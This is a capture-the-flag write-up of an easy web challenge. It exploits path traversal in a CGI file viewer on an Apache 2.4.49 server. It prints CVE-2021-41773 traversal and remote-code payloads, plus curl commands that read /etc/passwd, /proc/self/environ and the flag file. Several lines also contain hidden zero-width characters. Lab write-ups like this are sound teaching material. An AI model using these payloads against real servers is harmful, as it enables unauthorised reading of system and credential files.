← Back to Writeups
CUSTOMEasyWeb

Path Traversal

XESXOR9/2/20262 min read
#web#custom#easy#apache-2.4.49-cve-2021-41773-i#cgi-script-parameter-injection#directory-traversal-with-../-s#path-traversal-via-unsanitized#cve-2021-41773

Path Traversal

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Apache 2.4.49 CVE-2021-41773 identification, CGI script parameter injection, Directory traversal with ../ sequences, Path traversal via unsanitized file parameter

Summary

Walkthrough of the CUSTOM Web Path Traversal. Task: Vulnerable Apache 2.4.49 file server with CGI script accepting file parameter. Solution: Path traversal via unsanitized file parameter to read /flag.txt using ../ sequences.

Description

Vulnerable file server running Apache HTTP Server 2.4.49 (Unix). This version is known to be vulnerable to CVE-2021-41773 (Path Traversal / RCE). The server runs a CGI script vulnerable.cgi with a ?file= parameter that allows reading files without any path filtering.

Target: 34.253.0.220

Analysis

1. Reconnaissance — HTTP Headers

HTTP headers revealed the server version:

HeaderValue
ServerApache/2.4.49 (Unix)

Apache 2.4.49 — a version vulnerable to CVE-2021-41773 (Path Traversal / RCE). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Endpoint Discovery

The main page listed two CGI scripts:

EndpointStatusDescription
/vulnerable.cgi200"File Viewer" — accepts ?file= parameter
/test.cgi404Not Found

File Viewer disclosed the web root path: /usr/local/apache2/htdocs/

3. CVE-2021-41773 Exploitation Attempts

VectorPayloadResult
cgi-bin traversal/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd403 Forbidden
icons traversal/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd403 Forbidden
RCE via POSTPOST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh403 Forbidden
CGI file param/vulnerable.cgi?file=../../../../etc/passwd200 — SUCCESS
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Classic CVE-2021-41773 via .%2e was blocked (403), but the CGI script vulnerable.cgi was vulnerable to direct path traversal through the file parameter.

Solution

Step 1: Confirming LFI via /etc/passwd

bash
curl -s "http://34.253.0.220/vulnerable.cgi?file=../../../../etc/passwd"

The response contained 19 users — confirming a Debian-based container and successful LFI.

Step 2: Reading the Flag

bash
curl -s "http://34.253.0.220/vulnerable.cgi?file=../../../../flag.txt"

The file parameter had no filtering on ../ sequences. The path resolved as: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

/usr/local/apache2/htdocs/ + ../../../../flag.txt
→ /usr/local/apache2/htdocs/../../../../flag.txt
→ /flag.txt

Step 3: Environment Verification

bash
curl -s "http://34.253.0.220/vulnerable.cgi?file=../../../../proc/self/environ"

Confirmed: Apache 2.4.49, CGI environment, Docker container. The flag was not present in environment variables — it was only in /flag.txt.

Vulnerability Details

ParameterValue
CVECVE-2021-41773
TypePath Traversal / Local File Inclusion
Componentvulnerable.cgi — file parameter
CauseConcatenation of user input into file path without ../ sanitization
ImpactArbitrary file read on the server filesystem
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering Apache 2.4.49 CVE-2021-41773 identification, CGI script parameter injection, Directory traversal with ../ sequences, Path traversal via unsanitized file parameter was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-02-19 • CUSTOM • Path Traversal • Difficulty: Easy